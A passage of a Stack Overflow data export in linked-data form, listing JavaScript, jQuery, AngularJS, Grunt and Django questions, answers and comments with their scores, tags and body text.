bought coordinate and keep handling the loop from the last point? Not being very experienced handling canvas and GUI, I need to make this efficient and safe. So, I need to get the Paypal confirmation triggering the image processing, with the value introduced on the purchase. All this must take place on a webpage, which at this time is just HTML and CSS. Any help would be extremelly appreciated.
linked to: http://stackoverflow.com/q/4533018
has title: How to draw image pixel by pixel, after confirmation of purchase, on a spiral path, in Javascript?
answer count: 1
has comment: http://stackoverflow.com/comment/40270414

http://stackoverflow.com/comment/40434934
score: 1
comment on: http://stackoverflow.com/q/25843397
type: Comment
type: QuestionComment
has text: @IsmaelMiguel while that does hide the window object, it still let's you set on a global scope.

http://stackoverflow.com/comment/40311735
has text: A `ul` directly inside an `ol` is not valid HTML, you need an `li` in between them
comment on: http://stackoverflow.com/q/25775466
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40304751
type: QuestionComment
has text: is _reset_ reserved or something? (docs don't make anything clear)
comment on: http://stackoverflow.com/q/25771935
score: 0
type: Comment

http://stackoverflow.com/a/25809002
has comment: http://stackoverflow.com/comment/40371382
score: 0
answers question: http://stackoverflow.com/q/25808678
has body: If i understood correctly, $('.people-box').click(function () { $this = $(this).find('.people-description'); $('.people-description').not($this).fadeOut(500); $this.fadeToggle(500); }) JSFiddle
type: Answer

http://stackoverflow.com/a/25787660
type: AcceptedAnswer
type: Answer
has body: You need to change a little more you need to change "sinon.js" to "lib/sinon.js" and console.log Sinon to console.log sinon because Sinon uses the sinon global not Sinon
accepted answer of: http://stackoverflow.com/q/25784391
answers question: http://stackoverflow.com/q/25784391
score: 0

http://stackoverflow.com/comment/40352253
type: Comment
has text: Pointy and Mritunjay were pointing at the [infamous loop issue](http://stackoverflow.com/q/1451009/1048572) that your `db.getCode` callbacks have.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25790277

http://stackoverflow.com/a/25739208
upvote count: 1
has body: If you do not want CSRF protection on your forms you can use the csrf_exempt decorator on your forms1. from django.views.decorators.csrf import csrf_exempt from django.http import HttpResponse @csrf_exempt def my_view(request): return HttpResponse('Hello world') But make sure you read about CSRF before disabling it and take security measure inside your views to handle malicious form submissions. 1 : https://docs.djangoproject.com/en/dev/ref/contrib/csrf/#django.views.decorators.csrf.csrf_exempt
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25736913

http://stackoverflow.com/a/25719835
score: 0
has body: Property k in the google maps api is one of the values it uses internally. Your code is breaking before it gets there though, you've forgotten to initialize or get some object before using it. In JavaScript this is complicated by the fact that you can get this kind of error in cases where you have code like foo.bar.props['example'].things and you'll get an error about trying to access property 'things' if foo is undefined or null.
answers question: http://stackoverflow.com/q/25719759
type: Answer

http://stackoverflow.com/q/25751884
tagged with: ruby
has comment: http://stackoverflow.com/comment/40268335
has title: HTML Form Data into Ruby Formula
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40268754
has comment: http://stackoverflow.com/comment/40270358
answer count: 0
score: 0
tagged with: forms
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40268652
has body: I'm trying to create a page where I can type into a textbox, on that page, and then create a variable using the data. So far, I have: &lt;FORM NAME = frmName&gt; First Nme: &lt;INPUT TYPE = Text NAME = txtFirst value =""&gt; Last Nme: &lt;INPUT TYPE = Text NAME = txtLast value =""&gt; &lt;P&gt; Total: &lt;INPUT TYPE = Text NAME = txtFullName value = ""&gt; &lt;P&gt; &lt;Input Type = Button NAME = b1 VALUE = "Submit" onClick = calculate()&gt; &lt;/FORM&gt; The JavaScript is working that allows me to run the onClick command, but what I really need has to have a page where I can insert data, and then populate a variable with that data. For example. Type my first name and last name into the textboxes on the page. Then a variable running in the background, with be created. (ex. variable = first + name). This variable can then be used in the code on the rest of the page. Please also keep in mind, I don't want to add the form data into a database. Is it possible to do this in ruby only?
has comment: http://stackoverflow.com/comment/40269099

http://stackoverflow.com/comment/40305427
type: Comment
type: QuestionComment
has text: @Danny No, that would be useless, `hover()` registers handlers for both `mouseenter` and `mouseleave`, so no difference at all.
comment on: http://stackoverflow.com/q/25772500
score: 0

http://stackoverflow.com/a/25742933
has comment: http://stackoverflow.com/comment/40251908
type: Answer
has body: try this var newdata; var nowTime; var preTime; function play(data, value) { newdata= data.splice( 0, 1 ); // after splice, data will be auto updated if ( newdata.length == 1 ) { nowTime = newdata[0][6]; var timer = setTimeout("timer();",nowTime - preTime ); } } function timer() { if(newdata[0][3] == '14'){ replay( newdata[0][0], newdata[0][1]); } preTime = nowTime; play(); } play();
answers question: http://stackoverflow.com/q/25742672
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/40210464
type: Comment
comment on: http://stackoverflow.com/q/25721304
has text: I'm not pro in js but guessing...
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40368885
type: AnswerComment
score: 0
type: Comment
has text: Yes it's correct but it's not the main problem. His onClick event is not fired because the form is submited first.
comment on: http://stackoverflow.com/a/25807802

http://stackoverflow.com/comment/40335256
has text: Where's the diff span?
comment on: http://stackoverflow.com/q/25789508
type: Comment
type: QuestionComment
score: 3

http://stackoverflow.com/comment/40488220
has text: What happens to `obj`?
score: 0
comment on: http://stackoverflow.com/q/25872904
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25752575
has comment: http://stackoverflow.com/comment/40268877
has body: Is it possible with Grunt to target only subdirectories? I have a javascript folder in my project and it contains a few .js files and within this folder I also have a few subdirectories. MainDirectory /javascript global.js modal.js /subdirectory1 somescripts.js /subdirectory2 otherscrips.js So in my grunt config I am using concat to grab only the files in the javascript folder and ignore the subdirectories. So what I need is to copy the files in the subdirectory and ignore the files outside the subdirectory, in this case global.js and modal.js. Here is my copy code (Gruntfile.js): copy: { subdirs: { expand: true, dot: true, cwd: 'javascript', dest: 'app/assets/javascript', src: '**/*.js'// I know this grabs files and subdirectories } } I'm sure there is a way to do this but after Googling and reading Grunt docs I still cant figure out a proper solution. Any help would be appreciated. Thanks.
tagged with: javascript
tagged with: gruntjs
accepted answer: http://stackoverflow.com/a/25753094
score: 0
answer count: 1
has title: Grunt target subdirectories only
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25753094
type: Question

http://stackoverflow.com/comment/40426275
comment on: http://stackoverflow.com/a/25838723
has text: I very much appreciate the suggestion. I am, however, trying to just use Javascript.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40361157
type: QuestionComment
has text: Can you declare $scope.attachProperties as an empty array, before doing the $scope.$on call
comment on: http://stackoverflow.com/q/25803108
score: 1
type: Comment

http://stackoverflow.com/a/25833053
upvote count: 1
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40416423
has comment: http://stackoverflow.com/comment/40448014
score: 1
has comment: http://stackoverflow.com/comment/40417323
has body: Did you try to get offsetTop and offsetLeft explicitly from the canvas? You are now accessing offsetTop by this in a listener-function. Are you sure that this points to your canvas and not to something else?
answers question: http://stackoverflow.com/q/25832808
has comment: http://stackoverflow.com/comment/40417668
has comment: http://stackoverflow.com/comment/40416301
has comment: http://stackoverflow.com/comment/40416922
has comment: http://stackoverflow.com/comment/40416039

http://stackoverflow.com/q/25838661
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25839551
has body: So I just started using Polymer, I want to build a custom SoundCloud player in this element. Somehow I keep getting following error: Uncaught Error: SC.Widget function should be given either iframe element or a string specifying id attribute of iframe element. That should mean I am not targeting the iframe the right way, but I can't think of another way to do so (since almost 4 hours). = My problem is why var iframe = $(".iframe"); doesn't target the iframe. I tried it outside of Polymer and it worked fine there. breaker-stream.html:
tagged with: http://stackoverflow.com/tag/html
has title: Javascript within Polymer (not targeting the right way)
type: AnsweredQuestion
score: 1
tagged with: iframe
upvote count: 1
accepted answer: http://stackoverflow.com/a/25839551
type: Question
tagged with: polymer
tagged with: javascript
tagged with: soundcloud

http://stackoverflow.com/a/25749837
type: Answer
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25741725
has body: Create a child window that pops up and will close after a certain amount of time. You can make it look like an alert if you need to.

http://stackoverflow.com/q/25861805
has title: function foo(param) { alert("foo called"); } and $scope.foo = function(param){alert("foo");};
has body: I think I am having a similar problem with AngularJS like many others. I was fixing a previous error message (that I could not call controller functions from within test describe blocks) and got new errors. Error: [ng:areq] Argument 'fooController' is not a function, got undefined I have read other post but still can't correct it. so my controller is like.. 'use strict'; var app = angular.module('MyApp', ['MyAppControllers']); var appControllers = angular.module('MyAppControllers', []); appControllers.controller('fooController', ['$scope', function ($scope) { function foo(param) { alert("foo called"); } }]); and my controllerspec is.. 'use strict'; describe('fooController', function () { var $scope, $controller; beforeEach(inject(function ($rootScope, $controller) { $scope = $rootScope.$new(); ctrl = $controller('fooController', { $scope: $scope }); })); it("should write foo called", function () { $scope.foo(); }); }); why does it keep saying fooController is not a function?? Thanks you all. Old Post edited. Would you please read the bottom post (my new question? :))
accepted answer: http://stackoverflow.com/a/25861906
tagged with: angularjs
type: Question
score: 0
answer count: 2
tagged with: use-strict
tagged with: unit-testing
possible better answer: http://stackoverflow.com/a/25862836
has answer: http://stackoverflow.com/a/25861906
has answer: http://stackoverflow.com/a/25862836
tagged with: javascript
tagged with: karma-jasmine
type: AnsweredQuestion

http://stackoverflow.com/q/25831900
has body: My problem is little strange. Of course I checked many examples before I write here. I have a div element at aspx i am sending Post with AJAX to populate it &lt;script&gt; function send(inputa, inputb) { var dataString = JSON.stringify({ Id: inputa, Opt: inputb }); $.ajax({ type: "POST", url: "my.aspx/Myfunction", data: dataString, contentType: "application/json; charset=utf-8", dataType: "json", success: function (result) { alert(result.d); $("divtable").val(result.d); }, error: function () { alert("Problem Occured"); } }); } &lt;/script&gt; At alert I can see my response is good with no problem, but I could not send it to my div element. I tried many scripts $("divtable").val(result.d); $("#divtable").val(result.d); $("divtable").html(result.d); $(.divtable).val(result.d); and I could not success. Every searh I made I found different answers. Can someone good at this give us the correct answer please.
type: Question
has title: Populating HTML div using PageMethods/AJAX
tagged with: .net
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2
tagged with: ajax
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25832180
has answer: http://stackoverflow.com/a/25832123

http://stackoverflow.com/a/25811792
score: 9
has comment: http://stackoverflow.com/comment/40750812
answers question: http://stackoverflow.com/q/25811693
has comment: http://stackoverflow.com/comment/57635190
has comment: http://stackoverflow.com/comment/40688929
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40376342
upvote count: 9
type: Answer
downvote count: 0
has body: You have no onload event, so it doesn't actually return the read file data. this.fileRead = function(file) { var deferred = $q.defer(); var reader = new FileReader(); reader.onload = function() { deferred.resolve(reader.result); }; reader.readAsDataURL(file); return deferred.promise; };
accepted answer of: http://stackoverflow.com/q/25811693

http://stackoverflow.com/q/25849178
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25849975
has body: i have one array of ids and one JavaScript objects array. I need to filter/search the JavaScript objects array with the values in the array in Node JS. For example var id = [1,2,3]; var fullData = [ {id:1, name: "test1"} ,{id:2, name: "test2"} ,{id:3, name: "test3"} ,{id:4, name: "test4"} ,{id:5, name: "test5"} ]; Using the above data, as a result i need to have : var result = [ {id:1, name: "test1"} ,{id:2, name: "test2"} ,{id:3, name: "test3"} ]; I know i can loop through both and check for matching ids. But is this the only way to do it or there is more simple and resource friendly solution. The amount of data which will be compared is about 30-40k rows.
type: Question
accepted answer: http://stackoverflow.com/a/25849239
tagged with: javascript
has comment: http://stackoverflow.com/comment/40444916
has answer: http://stackoverflow.com/a/25849239
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40447619
possible better answer: http://stackoverflow.com/a/25849975
tagged with: arrays
has title: Filter/Search JavaScript array of objects based on other array in Node JS
has comment: http://stackoverflow.com/comment/40445226
tagged with: node.js

http://stackoverflow.com/a/73906307
type: Answer
answers question: http://stackoverflow.com/q/25743994
score: 1
upvote count: 1
has body: I was getting similar error: SyntaxError: JSON.parse: unexpected character at line 1 column 2 of the JSON data". It turns out I was sending data from the backend in JSON format already, so when it arrives on the front-end, I shouldn't use JSON.parse at all: $.ajax({ type: "get", url: 'https://localhost:8080/?id='+id, success: function (response) { // <- response is already JSON var data = $.parseJSON(response); // <- I removed this line modalShow(data); // <- modalShow(response) now works! } });
downvote count: 0

http://stackoverflow.com/comment/40478772
has text: No. it is freezing the div on scroll. BUt i dont need this on scroll.
comment on: http://stackoverflow.com/q/25867126
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40352158
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25798047
has text: don't forget $scope.$apply() in your directive clickState in your bind click

http://stackoverflow.com/comment/40249646
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25741765
has text: my confirm is intended to do nothing, thus is does nothing and stores nothing...
score: 0

http://stackoverflow.com/comment/40365840
type: QuestionComment
comment on: http://stackoverflow.com/q/25805991
has text: You have to access the response inside your response. Because the whole JSON object gets stored in the success(response) 'response' variable, you have to access it by doing response.response.id. It would be like this: success(JSONOBJECT){ alert(JSONOBJECT.response.id)}; (AKA your response variable in the JSON has nothing to do with the response variable from the AJAX request)
score: 0
type: Comment

http://stackoverflow.com/comment/40202630
comment on: http://stackoverflow.com/q/25717173
type: QuestionComment
score: 3
has text: Show us your best attempt
type: Comment

http://stackoverflow.com/comment/40295532
score: 0
has text: I think you're going about this the wrong way. I would look at making your site truly responsive with css. Check out the bootstrap responsive grid
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25765887

http://stackoverflow.com/q/25825293
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25825321
score: 0
answer count: 1
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has title: How to Show/Hide divs with the same class name individually?
accepted answer: http://stackoverflow.com/a/25825321
type: AnsweredQuestion
has body: I've tried to implement answers I found on stackoverflow asked by other people, but I'm not getting the results that I want. I have an about section on a site I'm building. In that section I have four different about items. At the bottom is a button and when that button is clicked I want the four boxes to be hidden and for a large about item to appear(show) in their place and display the information of the about item who's button was clicked. With the code I have now, when I click one of the buttons, all large about item divs show up instead of just one. Is it possible to just display only one large about item(showfullabout) when clicked, instead of all four? I want to individually show items when clicked. Title Description Content Title Description Content Title Description Content Title Description Content Title Description Content Title Description Content Title Description Content Title Description Content .showfullabout{ display:none; } $("button.full-about").click(function(){ $(".about-item").hide(); $(".showfullabout").fadeToggle(500); }); $("button.small-about").click(function(){ $(".about-item").fadeToggle(500); $(".showfullabout").hide(); });

http://stackoverflow.com/q/25756815
has answer: http://stackoverflow.com/a/25756959
tagged with: knockout.js
type: Question
has title: Durandal / Knockout - Creating viewModel from server data prior to bindings
has body: Sorry as this questions is mainly Knockout, but is in Durandal so the viewModel and some bindings my not look familiar to ko anwser contributors. Basically my view is comprised of a table that renders server data: view.html Company First Name Last Name I am on ASP.net so of course I use signalR to get my server data which represents each value in the table. This is an asynchronous call so it does not block the Durandal Composition callback which will do the Knockout bindings. viewModel.js define(['services/logger', 'global/session', 'jquery', 'knockout', 'knockout-mapping', 'hubs'], function ($, ko, komapping) { ko.mapping = komapping; // Needed var myChildModel = function (Id) { this.activate = function () { $.connection.hub.start().done(function () { con.server.getDetails(Id).done(function (data) { ko.mapping.fromJS(data, {}, this); console.log(data); }); }); }; }; return myChildModel; }); I REALLY want to take the server return and map it into the viewModel itself as shown above as I can then account for changes in the data on the server-side automatically (not included or relevant at this point), but as the viewModel does not exist prior to the binding callback Causing the expected error: Unable to process binding "text: function (){return Company }" Message: Company is not defined; View: widgets/customerInfo; ModuleId: widgets/customerInfo To negate this issue I want to stop the Knockout applyBindings, then call it manually on my server return .done call back. The Durandal docs do say you can stop the bindings, but does not include an example how or whether it is possible to have it apply the bindings manually when you want. Durandal Docs Has anyone been able to deploy this technique before, maintaining the viewModel comes from the server, and is not created then hydrated after, or has deployed a similar technique with the same outcome.
tagged with: javascript
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25756959
tagged with: durandal
type: AnsweredQuestion

http://stackoverflow.com/q/25813373
answer count: 0
linked to: http://stackoverflow.com/q/11922383
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40379402
tagged with: ajax
score: 0
has title: Trying to access json data and getting an error back of undefined
duplicate of: http://stackoverflow.com/q/11922383
has comment: http://stackoverflow.com/comment/40379434
has body: I am trying to go through my json object and then print out the "name" value in a unordered list via a loop. I am trying to basically have an array of json objects each being a project name with different values under it such as project url and project image and so on. If someone could point me in the right direction on how to write this up that would be great.Any help would be awesome, thank you. Here is my javascript: $.ajax('projects.json', { dataType: 'json', success: function(result){ console.log(result.projectName.name.length); for(var i=0;i&lt;result.projectName.name.length;i++){ console.log("&lt;li class='item'&gt;"+result.projectName.name[i]+"&lt;/li&gt;"); intro.find('ul').append("&lt;li class='item'&gt;"+result.projectName.name[i]+"&lt;/li&gt;"); } }, error: function(error){ alert("Error ajax not working"+error); } }); Here is my JSON: { "projectName": [{ "name": "shortSleeve", "url": "www.google.com", "color": "blue", "ID": "" }, { "name": "slongSleeve", "url": "www.yahoo.com", "color": "red", "ID": "" }, { "name": "turtleSleeve", "url": "www.popsci.com", "color": "purple", "ID": "" }] }
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40379513

http://stackoverflow.com/comment/40252101
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25743676
has text: Is this error occurring for all users or just to specific type of users?
score: 0

http://stackoverflow.com/comment/40487782
score: 0
type: Comment
type: QuestionComment
has text: I guess after the `post`. It still is the object when I do `console.log(data)` before the `return $http.post(...);`.
comment on: http://stackoverflow.com/q/25872177

http://stackoverflow.com/q/25787469
type: UnansweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/25787674
has answer: http://stackoverflow.com/a/25787561
upvote count: 1
type: Question
score: -1
has body: I have 4 buttons. Three of them are showing licenses. One of them entitled 'enterprise' has to go to another page. Unfortunately when I click on the 'Enterprise' by moments shows the license and then page goes to another page. How do I make does not pass on the code to display the license but immediately to another page? My code: $('input[title="enterprise"]').click(function(){ window.location.href = "/contact"; }); $('input[type=button]').click(showLicence).each(function() { this.version = this.title; this.title = "Buy "; switch(this.version) { case 'basic': this.title += 'Basic'; break; case 'standard': this.title += 'Standard'; break; case 'business': this.title += 'Business'; break; } });
has answer: http://stackoverflow.com/a/25787549
has comment: http://stackoverflow.com/comment/40331523
has title: Does not work properly move to another page
tagged with: javascript
has answer: http://stackoverflow.com/a/25787547
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 4

http://stackoverflow.com/q/25765880
linked to: http://stackoverflow.com/q/901115
tagged with: javascript
answer count: 6
has title: get specific text from value with javascript
accepted answer: http://stackoverflow.com/a/25765946
score: 0
has answer: http://stackoverflow.com/a/25766181
has comment: http://stackoverflow.com/comment/40292680
has answer: http://stackoverflow.com/a/25766342
has body: I have a json.json file like this { "name1":"ts1=Hallo&amp;ts2=Hillarry&amp;ts3=Sting&amp;ts4=Storm", "name2":"st1=Hallo2&amp;st2=Hillarry2&amp;st3=Sting2&amp;st4=Storm2", "name3":"dr1=Hallo3&amp;dr2=Hillarry3&amp;dr3=Sting3&amp;dr4=Storm3", "name4":"ds1=Hallo4&amp;ds2=Hillarry4&amp;ds3=Sting4&amp;ds4=Storm4" } And this script im using to read the file &lt;script type='text/javascript'&gt; $(window).load(function(){ $.getJSON("json.json", function(person){ document.write(person.name3); }); }); &lt;/script&gt; This script is made to point out all of the data from "name3" but i need only "dr3" value from "name3" to be stored to be written. How to do that?
has answer: http://stackoverflow.com/a/25766679
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25766980
possible better answer: http://stackoverflow.com/a/25765949
has answer: http://stackoverflow.com/a/25765946
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25765949
type: Question

http://stackoverflow.com/comment/40480008
has text: Hmm I suppose. But how do I make my functions return a promise? This is the heart of the issue I think, the thing I can't get my head around :)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25822843

http://stackoverflow.com/comment/40239685
comment on: http://stackoverflow.com/q/25718133
score: 0
type: Comment
type: QuestionComment
has text: @Arran I upgraded/downgraded almost every version of selenium and firefox to try all combinations. But It did not work for me. As of now I am using selenium 2.42 and firefox 31.0

http://stackoverflow.com/q/25854976
has body: I have multiple sandbox/development environments that all pull from the same code due to refreshes and such. The problem is that I have google analtics included in my footer template part and I am flooded with junk test data when I run reports. My solution is to write some jquery code that checks the URL and run if the url matches our production url. Is there a better way to do this? If not my code is below, if (location.href==url) { (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-*******-1', 'auto'); ga('send', 'pageview'); } where url equals the production url. The problem with this is that I am not sure how to match just the root URL. Currently it will match like this production.com/dummy/url?123 with production.com which is not equal. How can I have it match everything up until the end of the .com?
has answer: http://stackoverflow.com/a/25855290
type: Question
score: 0
has title: Run google analytics on a specific Url
tagged with: javascript
tagged with: jquery
answer count: 3
possible better answer: http://stackoverflow.com/a/25855290
has answer: http://stackoverflow.com/a/25855375
accepted answer: http://stackoverflow.com/a/25855375
has answer: http://stackoverflow.com/a/25855470
type: AnsweredQuestion
tagged with: google-analytics

http://stackoverflow.com/a/25842410
has comment: http://stackoverflow.com/comment/40433325
score: 2
has body: Try .get() as shown :- $("input:radio[name='phase_list']").get(index).checked = true; DEMO
downvote count: 0
has comment: http://stackoverflow.com/comment/40433070
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25842373

http://stackoverflow.com/a/25858640
score: 4
has comment: http://stackoverflow.com/comment/128724918
type: Answer
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/25853471
has body: This looks like a CSS problem. A bit hard to tell without the HTML and CSS posted, but at a guess, you should add: fill: none; to one of the CSS classes that you're using in your SVG elements. The dc.css file that comes with the dc.js distribution would normally take care of that, but perhaps it's been edited.

http://stackoverflow.com/q/25794816
type: AnsweredQuestion
tagged with: maps
type: Question
tagged with: javascript
tagged with: overlays
has title: Maps API zoom into an overlay
score: 0
tagged with: api
answer count: 1
has body: Here is what I have done so far(had to wrap in a anchor tag for some reason...) &lt;a src="http://jsfiddle.net/christian4423/6oe9gLLn/"&gt;&lt;/a&gt; With each area being a region I want to zoom into when clicked. How would I do so? As far as my research shows there is no more click event with V3. If I am wrong please let me know, and how could I make it zoom to the overlay within its bounds?
accepted answer: http://stackoverflow.com/a/25795011
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25795011

http://stackoverflow.com/a/25822754
accepted answer of: http://stackoverflow.com/q/25822681
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/25822681
type: AcceptedAnswer
downvote count: 0
has body: You can set the date format here: Admin > Settings > General > Date Format However, your theme may not be using this setting. In that case, you have to edit your theme and use &lt;?php the_time(get_option('date_format')); ?&gt; in every file that displays the post/page date. https://wordpress.stackexchange.com/questions/591/how-to-get-the-date-format-and-time-format-settings-for-use-in-my-template
score: 4

http://stackoverflow.com/q/25820489
has comment: http://stackoverflow.com/comment/40393027
tagged with: replace
linked to: http://stackoverflow.com/q/494035
answer count: 3
upvote count: 0
has answer: http://stackoverflow.com/a/25820516
duplicate of: http://stackoverflow.com/q/494035
has answer: http://stackoverflow.com/a/25820567
favorite count: 0
has comment: http://stackoverflow.com/comment/40393007
has body: I want to replace multiple occurrences of 'text1' with 'text2', in '#area', here is my code that works just fine: var replaced = $('#area').html().replace(/text1/g, 'text2'); $('#area').html(replaced); But imagine the 'text1' is a value of an input box, so: var search = $('#blah').val(); var replaced = $('#area').html().replace(/search/g, 'text2'); &lt;--- HERE IS THE PROBLEM $('#area').html(replaced); As you can see in the second line, I did /search/g but it's not working, how should I put the search value there?
has comment: http://stackoverflow.com/comment/40393090
type: UnansweredQuestion
downvote count: 1
has answer: http://stackoverflow.com/a/25820531
type: Question
has comment: http://stackoverflow.com/comment/40393032
has title: How to use a variable in a regular expression to replace-all?
tagged with: javascript
score: -1

http://stackoverflow.com/a/25778941
has comment: http://stackoverflow.com/comment/40317165
score: 1
has comment: http://stackoverflow.com/comment/40317351
has comment: http://stackoverflow.com/comment/40316967
has comment: http://stackoverflow.com/comment/40317615
answers question: http://stackoverflow.com/q/25778722
has comment: http://stackoverflow.com/comment/40317023
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25778722
has comment: http://stackoverflow.com/comment/40317050
has comment: http://stackoverflow.com/comment/40317060
upvote count: 1
has comment: http://stackoverflow.com/comment/40317140
has comment: http://stackoverflow.com/comment/40317183
type: Answer
has body: You can use attributes to add the rules like dom += '&lt;input type="text" name="FullName_' + i + '" required&gt;'; Demo: Fiddle
has comment: http://stackoverflow.com/comment/40316947
has comment: http://stackoverflow.com/comment/40317078
downvote count: 0

http://stackoverflow.com/a/25800898
answers question: http://stackoverflow.com/q/25797780
downvote count: 0
has body: Your controller and view are fine. Your service should work if you do this: angular.module('angularApp').service('DataService',['$timeout', function($timeout){ var self = this; this.data = []; var tmp; function handleMessage(){ //tmp == message.data //populate self.data however.. } chrome.runtime.onMessage.addListener(function(message,sender){ tmp = message.data; $timeout(handleMessage); }); }]); The reason it isn't working currently is because the event handler isn't executing in angular's event loop. By doing the data manipulation in a $timeout it will force angular to update the view with the data that has changed. Using $timeout essentially has the same effect as $scope.$apply() in this scenario
type: AcceptedAnswer
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/25797780
upvote count: 1

http://stackoverflow.com/comment/40299006
type: Comment
type: QuestionComment
has text: The setTimeout looks fine... are you seeing `.regErrMsg` text go away? What do you expect changing the .errMsg property of $scope to do? It doesn't seem like something that would pop up a message right away? Perhaps you should put a console.log before the setTimeout and inside the setTimeout callback and watch your console. This will help you determine where exactly the problem is.
comment on: http://stackoverflow.com/q/25769405
score: 1

http://stackoverflow.com/q/25747184
accepted answer: http://stackoverflow.com/a/25747243
score: 1
upvote count: 1
tagged with: python
tagged with: jinja2
answer count: 1
has title: Python - How to export JSON in JS
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40258575
has answer: http://stackoverflow.com/a/25747243
has comment: http://stackoverflow.com/comment/40258563
type: AnsweredQuestion
has body: I want to export a JSON string in python into a JS variable. &lt;script type="text/javascript"&gt; var data = JSON.parse('{{ dataJSON }}'); console.log(data) &lt;/script&gt; If I print the content of dataJSON I get: [{"offset":0,"total":1,"units":[{"village_id":37,"village_name":"Glim But in the JS I get this: JSON.parse('[{&amp;#34;offset&amp;#34;:0,&amp;#34;total&amp;#34;:1,&amp;#34;units&amp;#34;:[{&amp;#34;village_id&amp;#34;:37 I use jinja2 template engine: http://jinja.pocoo.org/docs/dev/templates/#if How can I fix that?
downvote count: 0
tagged with: javascript
favorite count: 0
type: Question

http://stackoverflow.com/comment/40261736
type: QuestionComment
comment on: http://stackoverflow.com/q/25748851
has text: @Wolph It's not even jQuery variables pointing out to selected elements.
score: 0
type: Comment

http://stackoverflow.com/q/25793520
tagged with: javascript
score: 1
favorite count: 0
tagged with: extjs
accepted answer: http://stackoverflow.com/a/25794155
tagged with: memory-leaks
has title: ExtJS Heap Snapshots.. When Should I start worrying?
linked to: http://stackoverflow.com/q/8467350
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25794155
tagged with: memory
type: Question
has body: I wanted to identify memory leaks in my web app (Extjs 4.1 + PHP + OpenLayers) using Chrome DevTools. I took a heap snapshots before and after navigating around my app. As you see below, the initial size was 19.5 MB. Then after using some functionalities it grows up to 27.9 MB. I left the app open then came back after couple of hours and took another heap snapshot, it was 28 MB. Then I refreshed the page and it went back to be 19 MB again. Does this mean that these functionalities are eating a lot of machine memory and I should be worried?
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/40440239
score: 0
type: AnswerComment
has text: There is also [Linux Shell Extension](http://schinagl.priv.at/nt/hardlinkshellext/hardlinkshellext.html)
type: Comment
comment on: http://stackoverflow.com/a/25846169

http://stackoverflow.com/q/25817372
type: Question
has body: This is not a problem that requires a solution. But I just found out that Javascript's innerHTML works even without specifying which ID or class I want to work with, if the name is the same as the ID's name. For example: Let's say in the HTML, I have: &lt;div id="input"&gt; Then in the Javascript, I have: input.innerHTML = "EMPTY"; It will work as if I had typed: document.getElementById('button').innerHTML = "EMPTY"; How does this work? Does innerHTML have a "default" getElementById thing?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40387617
score: 0
tagged with: default
has comment: http://stackoverflow.com/comment/40387403
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40387390
has title: Javascript innerHTML default
answer count: 0
tagged with: innerhtml

http://stackoverflow.com/comment/40330479
type: AnswerComment
type: Comment
has text: you can call it just browser is not going to recognize it and in best option will display it as text file
comment on: http://stackoverflow.com/a/25786474
score: 0

http://stackoverflow.com/comment/40433936
type: QuestionComment
has text: take the value of `this.disableSubmit()` in a `var` and debug to find out it's value. Return the var later on.
type: Comment
comment on: http://stackoverflow.com/q/25842920
score: 0

http://stackoverflow.com/q/25742074
tagged with: methods
type: Question
answer count: 2
tagged with: javascript
score: 0
has title: how to reference a method from within an object
possible better answer: http://stackoverflow.com/a/25742118
has answer: http://stackoverflow.com/a/25742118
has answer: http://stackoverflow.com/a/25742099
tagged with: object
type: AnsweredQuestion
